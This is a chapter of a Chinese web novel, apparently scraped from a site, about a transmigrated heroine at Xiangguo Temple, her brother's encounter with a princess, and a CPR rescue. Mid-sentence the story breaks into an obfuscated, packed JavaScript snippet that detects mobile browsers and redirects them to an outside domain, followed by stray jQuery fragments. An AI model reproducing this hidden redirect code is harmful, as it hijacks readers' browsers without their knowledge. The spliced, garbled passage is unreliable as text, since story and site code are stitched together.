相国寺内,气氛肃穆,钟声沉静。
孟相宜点好香,跪在佛像前,虔诚祈祷:“佛祖啊佛祖,保佑我早日完成任务,保佑孟家脱离苦海,保佑全家身体安康。”
孟怀风听见她的嘀咕:“任务?什么任务?”
孟相宜开始装傻:“啊?我刚刚有说吗?哥哥听错了吧。今日庙里有法会,娘我去看看。”
孟相宜带上吉祥,匆匆往外走。不料孟怀风也站了起来:“三娘,我同你一起去。”
孟怀风与她并肩而行,时不时冲她笑,却一言不发,搞得孟相宜惴惴不安。
“三娘自从回了趟老家,似乎变了许多。”孟怀风突然开口。
孟相宜心下一沉,难不成他发现了?不可能,今天才见第一面,我伪装得很好,他不可能发现。
现在的孟相宜已经学会了遇事保持冷静,她淡淡一笑:“哥哥为何这样说?”
“三娘以前性子沉闷,自小被父亲宠坏,不愿听家里人的话,有时像个倔驴。但现在,三娘学会体谅母亲,性子也变得活泼。遇到事情虽然还是会藏着,但是已经学会和家里人商量了。”孟怀风露出欣慰的笑容。
孟相宜心里松了口气,我还当什么事呢。
孟怀风突然停下来:“三娘,哥哥得向你道个歉。”
孟相宜不解:“哥哥为何这样说?”
“我与杜衙内虽有交情,但也只是点头之交。那日宴会,我吃多了酒,他向我提出结亲的想法。平日娘最烦恼的就是我们的婚事,杜衙内家世与学识都不错,所以就擅自替你应下了。三娘,是我没有考虑你的想法,让你今日……”孟怀风沉沉叹了口气,都怪自己的冒失,所以妹妹才会说出那种话。
孟相宜“嗐”了一声:“不打紧不打紧,这算什么事儿,哥哥不必如此,我都没放在心上。反正已经和杜衙内说清楚了,不用嫁人,我就很开心了。”
孟怀风自责不已,此时孟相宜明媚的笑容在他眼里显得勉强。他暗暗发誓,一定要为三娘在汴京找个好亲事,比杜家还要好,让三娘成为汴京最幸福的姑娘。
今日天气晴朗,惠风和畅,两人慢悠悠地走在寺院里。殿内香火旺盛,殿外香客不断。
一位主持忽然走到孟相宜面前,双手合十微微点头:“阿弥陀佛。”
孟相宜也跟着行了个礼。
主持说:“这位施主,老衲见你样貌不凡,命中却有劫难。”
孟怀风脸色大变:“当真?!”
主持:“出家人不打诳语。这位施主,可否借一步说话。”
孟相宜将信将疑地跟他走到一间茶室内,她坐在蒲团上:“主持不妨有话直说。”
主持摸着佛珠,给她倒了杯茶:“老衲没猜错的话,施主来这里,是想改变结局。”
我去!和尚这么厉害吗?
他继续说:“施主命中劫难繁多,不过尚有化解之法。”
“什么办法?”
“每个人在这个世上,有劫亦有缘。施主不妨去找找属于自己的缘,这些劫难自然迎刃而解。”
孟相宜追问:“敢问主持,我的缘在哪?”
主持眺望远处的桃花树,眯了眯眼:“天机不可泄露。”
……
孟怀风等得有些久,索性自己在寺院里转转。他转转悠悠,转进一座较为偏僻的殿宇内。
忽然,他听见一道女子的惊叫声。
这段时间住在大理寺时,常和同僚们讨论案件,偶尔听他们说起,近来相国寺附近出现许多盗贼和流氓,流氓趁无人时,会将女客们打晕掳走。所以他才不放心孟相宜和吉祥两个弱女子。
难不成这姑娘遇到歹人了?!
孟怀风循声拔腿跑去。
然而当他跑到那时,并没有发现什么流氓歹人,只有一名女子。
这名女子应该是崴了脚,她坐在桃花树下,帷帽被她拨到两边,可以清楚地看见一张精致小巧的脸蛋。黛眉细长,眼眸乌灵,两颊各带着一抹粉红,瞧着十分可爱。但此刻的少女,正神情苦恼地揉着自己的脚踝。
周嘉婉似乎是注意到他,眼睛一抬,疑惑地歪了歪头。
猝不及防对上一双如水琉璃般的眼瞳,孟怀风脸一红,退后几步,远远行了个礼。
周嘉婉倏地笑了,眼睛灿若繁星:“小郎君,你的脸怎么那么红呀?”
她这么一说,孟怀风的脸更红了,脑袋更低了。
“小郎君,我的脚不小心扭了,你能否帮我个忙?”
孟怀风缓缓抬起脑袋,眼前的巨树上缠绕着许多红绸带,都是香客们的愿景。春风一吹,绸带飘扬,花瓣扑簌簌落下,也将少女的帷帽吹倒在地。
孟怀风急忙拾起,伸手一递。
周嘉婉看着他们之间的距离,好笑道:“小郎君,我躺在地上都拿不到。”
孟怀风往前挪了小小的一步。
周嘉婉:“……”
“小郎君,你为何如此害羞。”
孟怀风如实道:“我怕冒犯了姑娘。”
周嘉婉噗嗤一声笑出来:“小郎君可真有趣。”
孟怀风走上前,将帷帽还给了她。
周嘉婉并没有戴上,反而身体往前倾,离他更近,想与他说话。但孟怀风却被吓得连退好几步,最后被殿外的石梯绊倒,摔在地上。
周嘉婉怔愣一瞬,忍不住掩嘴大笑。
孟怀风面红耳赤,热得发烫。他连忙起身,拍掉身上的灰尘,巴不得立马有个洞让自己钻进去。
周嘉婉见他脸红得像被开水烫过,收敛笑意:“小郎君,我的右脚现在动不了,你能否扶我,带我去找我的朋友?”
孟怀风一惊:“不可!男女授受不亲。姑娘请等一等,我去找我妹妹来帮姑娘。请姑娘莫要乱动,痛着自己。”
周嘉婉正欲开口挽留,忽然一阵急促的脚步声。周嘉婉眉头一蹙,叹了口气。
一队侍卫气势汹汹走进来,齐刷刷跪在地上。
“公主您没事吧!”女使蝶儿跑到她身边,哭哭啼啼地跪在她面前,“都是奴婢不好,让公主受伤了。”
公主……
孟怀风瞳孔一缩,忽的脖子一凉,一把剑抵着他。
“你是何人?莫不是你伤了公主!”侍卫恶狠狠地问道。
周嘉婉呵斥:“放肆!”
侍卫连忙收剑,跪在地上。
孟怀风咽了咽口水,腿软地扶着旁边的门框。
周嘉婉:“你叫什么名字。”
孟怀风颤巍巍地行了个礼:“在下大理寺寺正孟怀风,拜见公主殿下。”
周嘉婉颔首:“小郎君,后会有期。”
……
离开茶室后,孟相宜不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341165|183455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停思考着主持说的那番话。
有劫亦有缘……劫难她是知道的,比如赵启辰,再比如沈序,都是她的劫难。那她的缘呢?会在哪里?
“对了,哥哥哪去了?”孟相宜问吉祥。
吉祥:“三娘进茶室没多久,少爷便一个人离开了。”
行吧,那她只能自己逛了。
相国寺殿院诸多,孟相宜基本把每座佛都拜了。曾经坚定的唯物主义者,穿进这书中世界,也成了迷信之人。
“三……三娘……那是不是躺着个人……”吉祥突然指着一个地方说。
孟相宜顺着看过去,黄色幕帘之后,似乎躺着一名女子,露出一截手臂和头上的发髻。
孟相宜连忙跑过去,果真躺着个人!
妇人晕倒在地,唇色苍白,全无意识。探听妇人的呼吸后,孟相宜试着喊了喊她,并没有反应,于是孟相宜开始跪在地上做心肺复苏。
还好大学时考了CPR急救证书。
吉祥大惊失色:“三娘,你这是在做什么?”
孟相宜心无旁骛,数着频率。
几分钟后,妇人张开嘴,慢慢开始呼吸。
孟相宜长舒一口气,坐在地上,扶起妇人。
“听得到我说话吗?”
妇人睁开眼,点了点头。
“小娘子,是你救了我?”
孟相宜摆了摆手:“谈不上救。倒是您,怎么身边也没个陪从?”
身着富贵,但是没有一个仆从陪同。
妇人不好意思地笑了笑:“我一个人偷偷跑出来的,没想到……我竟会在这犯病,明明是吃了药出门的。”
孟相宜扶起她:“我送您回去吧。”
端阳长公主握着她的手,不动声色打量她的容貌和穿着。
“小娘子今年多大了?”
孟相宜如实答:“十七。”
端阳长公主眼睛一眯:“可有婚配?”
“没有,我不想嫁人。”
“不成婚哪行啊?我有个儿子,长相帅气性格温柔,年龄与你相仿……”
“您小心台阶!”孟相宜打断施法。
天呐,怎么随便遇见的阿姨,都要催婚。
孟相宜带她上了马车,和马夫说:“你先送一下这位夫人,待会再来接我们。”
马夫点头,甩鞭离去,马车在泥泞不堪的山路上缓慢行驶。
与此同时,平远侯正带着一队人马策马赶往相国寺。
两方正好错过。
相国寺外,沈序急匆匆地跑进殿内,并不见长公主踪影。
“给我找,要是找不到,今晚都给我领罚!”
阿山头冒冷汗:“是!”
不远处石柱后的孟相宜看着怒发冲冠的沈序,问吉祥:“又有人惹到他了?”
吉祥:“平远侯做事,向来张狂。”
孟相宜托着脑袋:“也是,仇家那么多,每天寻仇也挺累的。你说他是不是自己作的,非得四处惹是生非,仇家怕是多得数不清了吧。”
大抵是心灵感应到有人在说他坏话,沈序突然望过来。孟相宜身子一抖立马蹲下,缩在石柱后。
沈序不知何时窜到她们身后,凉飕飕道:“孟三娘,这么巧,又见面了。”
孟相宜两眼一闭,生无可恋。
这不就来劫难了。